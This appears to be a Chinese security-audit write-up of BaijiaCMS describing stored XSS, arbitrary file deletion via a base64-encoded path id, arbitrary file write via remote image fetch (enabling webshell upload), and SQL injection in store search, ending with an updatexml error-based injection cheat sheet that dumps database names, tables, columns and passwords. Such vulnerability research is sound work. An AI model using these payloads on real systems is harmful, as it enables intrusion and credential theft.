<>百家CMS代码审计

<>1. XSS漏洞

<>1. 黑盒测试

* 在店铺管理处添加店铺

* 在店铺名称和绑定域名输入XSS代码,接着提交保存

* 返回后弹窗,XSS代码已成功执行,存在XSS漏洞

<>1. 代码审计

* 根据路由找到店铺管理代码:
路由介绍:
index.php?mod=site&act=manager&do=store&op=post&beid=1
act:manager代表manager目录;
do:代表目录下的php文件;
op:代表文件中具体的语句分支
锁定到该php文件: system\manager\class\web\store.php

2. 通过抓包查看传递参数:

可以看到这里主要传递了前端输入的smane和website,这两个字段我们外部可控,接着在代码中寻找:
$data=array('sname'=>$_GP['sname'],'is_system'=>0, 'isclose'=>intval($_GP[
'isclose'])); $data['website']=$_GP['website']; // 接受前段传递过来的website参数
最后通过Sql语句插入数据库:

3. 分析到这里,我们知道数据在插入数据之前未作过滤,现在就看输出时是否做过过滤了

4. 找到输出页面查看:
路径:system\manager\template\web\store_display.php

5. 可以看到,程序直接输出,无任何过滤,所以存在XSS漏洞

<>2. 任意文件删除漏洞

<>1. 黑盒测试+代码审计

* 在备份与还原中,可以删除之前备份的数据库
* 我们通过抓包来找到该路由:
请求路径: /baijiacms-master/index.php?mod=site&act=manager&do=database&op=delete&
id=MTY2NTkxODU4Nl9LNTNxMzc4Sw%3D%3D&beid=1
这里参数id为base64编码,我们解码发现它代表的就是备份文件1665918730_Cw00T0zg

3.
审计此时代码,发现后台接收前端传递的参数id,这里id外部可控,另外发现这里引用了rmdirs()函数,最后这里对删除的文件是否为文件夹做了一个判断,若是文件夹,则OK,若单纯的文件,则无法删除

4. 查看引用的rmdirs()函数,发现使用了删除函数rmdir(),所以这里我们可以手动构造其他文件来删除

5. 在config目录下新建test,然后将id换为…/(base64编码)测试:

6. 再次查看tets文件,现在已经被删除,任意文件删除漏洞验证成功

<>3. 任意文件写入漏洞

<>1. 黑盒测试+代码审计

* 该cms多出存在图片上传功能,这里有一个提取网络图片的功能,我们更具路由来找到该代码

* 该处调用了函数fetch_net_file_upload(),我们来找到这个函数:

这里使用了file_get_contents()函数来将远程文件中,之后通过file_save()函数保存
file_get_contents():把整个文件读入一个字符串中,所以我们在VPS上放入一个文件,让其写入。
* 上传之后这里直接返回了路径,我们测试一下试试:

* 可以看到,文件已成功写入,这里直接可以写shell

<>4. Sql注入漏洞

<>1. 黑盒测试+代码审计

*
在店铺管理处,可以搜索店铺名称:

*
我们找到这里的路由,查看一下代码:

这里的$_GP[‘sname’]通过外部输入接收,然后直接拼接到Sql语句中,造成了Sql注入,我们先将Sql语句打印出来看看:

"SELECT store.* FROM `baijiacms_system_store` store where store.`deleted`=0
AND store.sname LIKE '%1'%' LIMIT 0,20"
* 可以看到,我们输入的1’已经被带入Sql语句了,所以此处存在Sql注入漏洞
payload:1' and updatexml(1,concat(0x7e,user(),0x7e,database()),1)#

<>6. Sql注入之updatexml报错

updatexml()函数:是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值

语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));
由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

updatexml报错注入

* 爆数据库信息
1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
* 爆当前数据库表中信息
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x7e),1) #
* 爆表中字段信息
1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from
information_schema.columns where table_schema=database() and
table_name=‘users’),0x7e),1) #
* 爆数据库内容
1’ and updatexml(1,concat(0x7e,(select group_concat(user,password) from
dvwa.users),0x7e),1) #

技术
下载桌面版
GitHub
百度网盘(提取码:draw)
Gitee
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:[email protected]
QQ群:766591547
关注微信